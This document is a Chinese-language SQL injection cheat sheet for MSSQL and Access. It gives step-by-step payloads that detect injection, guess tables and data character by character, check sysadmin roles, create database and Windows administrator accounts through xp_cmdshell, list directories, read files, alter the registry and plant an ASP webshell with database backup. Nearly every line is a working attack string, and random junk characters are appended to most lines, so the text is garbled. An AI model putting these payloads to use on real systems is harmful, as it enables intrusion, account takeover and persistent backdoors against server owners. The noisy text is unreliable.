1.判断是否有注入;and 1=1 ;and 1=2 g>;u} +lO
2.初步判断是否是mssql ;and user>0 vQsI^p
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3.注入参数是字符'and [查询条件] and ''='
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;T\'|[bY
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5.判断数据库系统 xt=ELzu$
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;and (select count(*) from sysobjects)>0 mssql K>S:Z
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;and (select count(*) from msysobjects)>0 access A#x_>fV
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 NsUP0B}.
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 fiZq C?(
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 a@s@E
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9.(1)猜字段的ascii值(access) {qbxiL-
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 "e@?^J)
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(2)猜字段的ascii值(mssql) E.%_i8s
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _n=,H
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10.测试权限结构(mssql) rls\3R(jt
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- (^mpb
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =VvQ2Y0h8
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- G*'1[Bu
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- TM<;Nj[*n
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- M\6u4p!G!
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a1 .+L
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;and 1=(select IS_MEMBER('db_owner'));-- N)Qz:o0W
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11.添加mssql和系统的帐户 rUWC=?Q
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;exec master.dbo.sp_addlogin username;-- {1m.d;(1
;exec master.dbo.sp_password null,username,password;-- XO,gEn&6V
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }4XXNYH
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;exec master.dbo.xp_cmdshell 'net user username password vuO~^N]G
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (8jQdbZU
q~G@S2=}0}
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1rGi"kdf
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <0!)}O
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12.(1)遍历目录 d6+{^v$#
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;create table dirs(paths varchar(100), id int) %W,V~kb
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;insert dirs exec master.dbo.xp_dirtree 'c:\' uG{/yJeU
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;and (select top 1 paths from dirs)>0 #xfPobQ>il
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) dA=T+u
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(2)遍历目录 z%44@TP
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X}G3>HcP
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,<O| Iis
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;b;Bl:%?
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vd#BT$d?
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $.T\dm-
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13.mssql中的存储过程 )F65sV{
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xp_regenumvalues 注册表根键, 子键 m`6=6(_p
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;$/]6@bqB
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xp_regread 根键,子键,键值名 qz&?zzz;
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;exec xp_regread hL}AgY@
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 (;cvLop
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xp_regwrite 根键,子键, 值名, 值类型, 值 %WAaoR&u
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 rhj_cw
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9/$Cq
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xp_regdeletevalue 根键,子键,值名 !]2`dp\!
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $3yn-'o'A
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `IH*~d]
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14.mssql的backup创建webshell KSxZ4Y
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use model ;>r
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create table cmd(str image); ZfnJ&H'
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insert into cmd(str) values (''); 3%YDsd vQx
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backup database model to disk='c:\l.asp'; gX;)A|9e
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15.mssql内置函数 u
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;and (select @@version)>0 获得Windows的版本号 bD<hzOa
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa (Ky$(Ubb#6
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;and (select user_name())>0 爆当前系统的连接用户 -$ha@bCWO
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;and (select db_name())>0 得到当前连接的数据库 Hl=M{)q@
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16.简洁的webshell D),hSqJ"
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use model A0 $ds
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create table cmd(str image); i9v|*ZM"
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insert into cmd(str) values (''); Uu~~-5
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backup database model to disk='g:\wwwtest\l.asp';